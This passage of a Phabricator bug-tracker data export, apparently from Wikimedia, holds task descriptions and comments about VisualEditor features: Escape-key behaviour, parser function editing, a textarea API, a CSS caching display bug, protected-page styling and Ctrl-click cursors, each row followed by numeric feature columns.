Agreed, that's how I envisioned it.",,,1373382255,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7058823529411766,0.8235294117647058,"**gigs** wrote:

Agreed, that's how I envisioned it."
239790,Escape key inside the main editor should cancel VE mode and return to action=view,"I'd like to note that really this should only happen iff someone is exclusively in edit mode. IOW, if someone has opened the template inspector, close that. Link inspector, close that - so on and so forth.",,,1373361187,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,1,,0.0,5.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,16.0,16.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,7.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,16.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.840909090909091,0.7727272727272727,"I'd like to note that really this should only happen iff someone is exclusively in edit mode. IOW, if someone has opened the template inspector, close that. Link inspector, close that - so on and so forth."
239783,Escape key inside the main editor should cancel VE mode and return to action=view,"On macs, cancel is usually cmd-.

Wouldn't mind having that in VE.",,,1373228712,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.2941176470588234,0.9411764705882353,"On macs, cancel is usually cmd-.

Wouldn't mind having that in VE."
239778,Escape key inside the main editor should cancel VE mode and return to action=view,"I think this isn't a bad idea, though I'm a little troubled if this causes unexpected behaviour for users of some browsers.",,,1373145156,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,0,,4.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,4.0,4.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,8.0,8.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.8846153846153846,"I think this isn't a bad idea, though I'm a little troubled if this causes unexpected behaviour for users of some browsers."
239775,Escape key inside the main editor should cancel VE mode and return to action=view,"**gigs** wrote:

OK, but my next question is: What form fields are people going to be interacting with when in the main Visualeditor?  The only form field I see is the search box.",,,1373143309,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,11.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,7.0,2.0,2.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3636363636363638,0.8409090909090909,"**gigs** wrote:

OK, but my next question is: What form fields are people going to be interacting with when in the main Visualeditor?  The only form field I see is the search box."
239772,Escape key inside the main editor should cancel VE mode and return to action=view,"Opera does that; it's useful enough that I expected other browsers to behave similarly. IE8 resets the value to the default (for both inputs and textareas). And Firefox apparently doesn't do anything, like you said.",,,1373139445,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,0,,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,11.0,2.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,2.0,7.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.113636363636363,0.8636363636363636,"Opera does that; it's useful enough that I expected other browsers to behave similarly. IE8 resets the value to the default (for both inputs and textareas). And Firefox apparently doesn't do anything, like you said."
239769,Escape key inside the main editor should cancel VE mode and return to action=view,"**gigs** wrote:

What browsers?  Not Chrome or Firefox.  I don't have IE here to test with, but I doubt it does it either.

http://www.w3schools.com/jquery/tryit.asp?filename=tryjquery_event_blur_alert",,,1373136114,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,5.0,11.0,3.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.789473684210526,0.7894736842105263,"**gigs** wrote:

What browsers?  Not Chrome or Firefox.  I don't have IE here to test with, but I doubt it does it either.

URL"
239767,Escape key inside the main editor should cancel VE mode and return to action=view,The escape key is used by browsers to defocus (blur) currently focused form element. Reusing it for this would be really annoying.,,,1373132960,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1923076923076925,0.9615384615384616,The escape key is used by browsers to defocus (blur) currently focused form element. Reusing it for this would be really annoying.
52855,VisualEditor: Transclusions editor should support parser functions and variables,"Parser function syntax is generally {{#function_name : expr1 | expr2 | expr3 | ...}}

Currently VE sees this as a template with name ""#function_name : expr1"" and arguments ""1 = expr2"", ""2 = expr3"", etc. This makes it impossible to edit expr1 in VE.

Same for parserfunctions like urlencode and template messages. The transclusions editor should be able to handle them, preferably by invisibly detecting them and failing that with a special, user-selected mode. Until we can, we should show an explanatory message when the user attempts to add one. 

**See also:**
{T54607}",Low,25.0,1373104140,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-5tthiu6szwn225okbzla,task_description,open,True,c1,3,True,False,,0,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,7.5,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,2.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,1.0,0.0,0.0,0.0,11.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,1.5,6.0,1.0,2.0,5.5,0.0,0.0,0.0,1.0,4.5,0.0,2.0,0.0,3.5,7.5,5.0,0.0,3.0,0.0,3.5,0.0,1.0,2.0,1.5,2.0,0.0,0.0,1.0,3.806671626984127,0.7406994047619048,"Parser function syntax is generally {{#function_name : expr1 | expr2 | expr3 | ...}}

Currently VE sees this as a template with name ""#function_name : expr1"" and arguments ""1 = expr2"", ""2 = expr3"", etc. This makes it impossible to edit expr1 in VE.

Same for parserfunctions like urlencode and template messages. The transclusions editor should be able to handle them, preferably by invisibly detecting them and failing that with a special, user-selected mode. Until we can, we should show an explanatory message when the user attempts to add one. 

**See also:**
{T54607}"
1490823,VisualEditor: Transclusions editor should support parser functions and variables,"So yeah. Matma Rex has merged T249860 with this task. Also, I will add details about this task on [[ https://en.wikipedia.org/wiki/Wikipedia:VisualEditor | Wikipedia:VisualEditor ]].",,,1587917120,,PHID-USER-wmk4bsljm5c77zhckwcj,False,,,PHID-TASK-5tthiu6szwn225okbzla,task_subcomment,,True,c1,3,False,,,355,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,9.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.4375,0.8125,"So yeah. Matma Rex has merged T249860 with this task. Also, I will add details about this task on [[ URL | Wikipedia:VisualEditor ]]."
481912,VisualEditor: Transclusions editor should support parser functions and variables,"If Parsoid doesn't automatically tell VE whether something is a template or not, could it not be done by looking at the format of the string (e.g. {{# is never a template) or comparing it to a list of parser functions?",,,1435260148,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5tthiu6szwn225okbzla,task_subcomment,,True,c1,3,False,,,103,,0.0,2.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,6.0,4.0,4.0,10.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,15.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,3.7083333333333335,0.7916666666666666,"If Parsoid doesn't automatically tell VE whether something is a template or not, could it not be done by looking at the format of the string (e.g. {{# is never a template) or comparing it to a list of parser functions?"
239110,VisualEditor: Transclusions editor should support parser functions and variables,"Many of the parser functions are rarely used in the main namespace (#if, ...), but some of them are really important even in the main namespace. For example {{formatnum:...}} is probably used a lot there.",,,1373465761,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-5tthiu6szwn225okbzla,task_subcomment,,True,c1,3,False,,,1,,4.0,0.0,0.0,4.0,0.0,8.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,4.0,2.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.5416666666666665,0.7291666666666666,"Many of the parser functions are rarely used in the main namespace (#if, ...), but some of them are really important even in the main namespace. For example {{formatnum:...}} is probably used a lot there."
239100,VisualEditor: Transclusions editor should support parser functions and variables,"Yes, we need a special form of editing transclusions which aren't templates; I can't recall whether Parsoid gives us sufficient information to recognise these as different except for introspection.",,,1373160763,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5tthiu6szwn225okbzla,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,9.0,0.0,9.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,9.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,9.0,15.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,4.970588235294118,0.9705882352941176,"Yes, we need a special form of editing transclusions which aren't templates; I can't recall whether Parsoid gives us sufficient information to recognise these as different except for introspection."
52827,VisualEditor: Provide integration as an API service,"Original Bug title: 
Provide an API to activate VE on arbitrary textareas for Gadgets and user scripts and document it at [[:mw:VisualEditor/API]]

Please also create a mailing-list for those API updates.

Issue:
Since users will not be able to understand Wiki-Markup, please provide and API for turning-on VisualEditor on <textarea>s. Example use case would be the Translate Extension where translators still have to enter wiki-markup or LiquidThreads or whatever is adding Wiki-Markup to a page.

Providing an API to Gadget authors and other tools is an important matter; nearly all edits are made through gadgets at certain pages; thus it is not just an ""enhancement"".

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373053800,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-x25765urrimfm7ul6ci4,task_description,open,True,c1,3,False,False,,0,,0.5,0.0,0.0,0.5,1.0,4.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,5.0,8.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,3.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,14.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,3.5,15.0,1.0,3.5,5.5,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,1.0,8.0,9.0,0.0,1.5,0.0,1.0,0.0,1.5,3.5,0.0,2.0,0.0,0.0,2.5,4.076740506329114,0.7420094936708861,"Original Bug title: 
Provide an API to activate VE on arbitrary textareas for Gadgets and user scripts and document it at [[:mw:VisualEditor/API]]

Please also create a mailing-list for those API updates.

Issue:
Since users will not be able to understand Wiki-Markup, please provide and API for turning-on VisualEditor on <textarea>s. Example use case would be the Translate Extension where translators still have to enter wiki-markup or LiquidThreads or whatever is adding Wiki-Markup to a page.

Providing an API to Gadget authors and other tools is an important matter; nearly all edits are made through gadgets at certain pages; thus it is not just an ""enhancement"".

--------------------------
**Version**: unspecified
**Severity**: enhancement"
237321,VisualEditor: Provide integration as an API service,"This is a quite considerable piece of work; marking as ""low"" absent a huge push for this.",,,1373058098,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-x25765urrimfm7ul6ci4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,3.4761904761904763,0.9047619047619048,"This is a quite considerable piece of work; marking as ""low"" absent a huge push for this."
52814,VisualEditor: Transclusion display garbled after removing parameter (CSS caching issue),"narrow display

Seen in Chrome at least

* click Transclusion
* add a Template; add-parameter display is fine
* add a parameter to the template
* click Remove parameter

resulting display is too narrow and does not display fully

* add a new parameter in the garbled display

display of parameter value show echoed/ghost characters as user types into parameter input

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11254}",Low,25.0,1373044920,1373062869.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-7fduwzpt3wlf2h5imzyr,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.5,0.0,0.5,6.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,5.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,18.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,1.0,6.5,0.0,0.5,3.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,4.009803921568627,0.607843137254902,"narrow display

Seen in Chrome at least

* click Transclusion
* add a Template; add-parameter display is fine
* add a parameter to the template
* click Remove parameter

resulting display is too narrow and does not display fully

* add a new parameter in the garbled display

display of parameter value show echoed/ghost characters as user types into parameter input

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11254}"
236679,VisualEditor: Transclusion display garbled after removing parameter (CSS caching issue),confirmed,,,1373062937,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-7fduwzpt3wlf2h5imzyr,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,confirmed
236674,VisualEditor: Transclusion display garbled after removing parameter (CSS caching issue),"I believe that this was due to a CSS caching issue (which we will more generally fix with bug 49420), and should now be gone - can you confirm?",,,1373062869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7fduwzpt3wlf2h5imzyr,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,12.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.484848484848485,1.0,"I believe that this was due to a CSS caching issue (which we will more generally fix with bug 49420), and should now be gone - can you confirm?"
236668,VisualEditor: Transclusion display garbled after removing parameter (CSS caching issue),"Created attachment 12763
ghost characters while typing

**Attached**: {F11255}",,,1373044974,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-7fduwzpt3wlf2h5imzyr,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.8333333333333334,"Created attachment 12763
ghost characters while typing

**Attached**: {F11255}"
52783,"VisualEditor: Add class name to protected pages, to allow for specific CSS styling of edit area","The wikitext editor <textarea> element has a CSS class ""mw-textarea-protected"" when a protected page is being edited. This can be used to provide custom styling for this textarea, mainly in order to alert sysops that they are editing a fully protected page.

A similar CSS class name should somehow be provided for VE.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1372998120,1398891900.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-u5vpeaoeulxl7k3l2bmg,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,20.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,6.0,10.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,6.0,2.0,0.0,2.0,0.0,1.0,0.0,2.0,5.0,0.0,1.0,0.0,0.0,1.0,4.095238095238095,0.6904761904761905,"The wikitext editor <textarea> element has a CSS class ""mw-textarea-protected"" when a protected page is being edited. This can be used to provide custom styling for this textarea, mainly in order to alert sysops that they are editing a fully protected page.

A similar CSS class name should somehow be provided for VE.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
234783,"VisualEditor: Add class name to protected pages, to allow for specific CSS styling of edit area","Change 130665 merged by jenkins-bot:
Add class name to protected pages, to allow for specific CSS styling of edit area

https://gerrit.wikimedia.org/r/130665",,,1398891701,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u5vpeaoeulxl7k3l2bmg,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,19.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.148148148148148,0.9629629629629629,"Change 130665 merged by jenkins-bot:
Add class name to protected pages, to allow for specific CSS styling of edit area

GERRIT_URL"
234779,"VisualEditor: Add class name to protected pages, to allow for specific CSS styling of edit area","Change 130665 had a related patch set uploaded by Alex Monk:
Add class name to protected pages, to allow for specific CSS styling of edit area

https://gerrit.wikimedia.org/r/130665",,,1398887540,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u5vpeaoeulxl7k3l2bmg,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,16.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.193548387096774,0.967741935483871,"Change 130665 had a related patch set uploaded by Alex Monk:
Add class name to protected pages, to allow for specific CSS styling of edit area

GERRIT_URL"
52741,"VisualEditor: Show a different cursor when Ctrl (Cmd on Mac) is held down, as the interaction will be different","If you Ctrl+Click a link in the VE, it'll open (discovered through trial and error). Presumably the cursor when hovering over links while Ctrl is depressed should be the hand icon, rather than the typing icon.

--------------------------
**Version**: unspecified
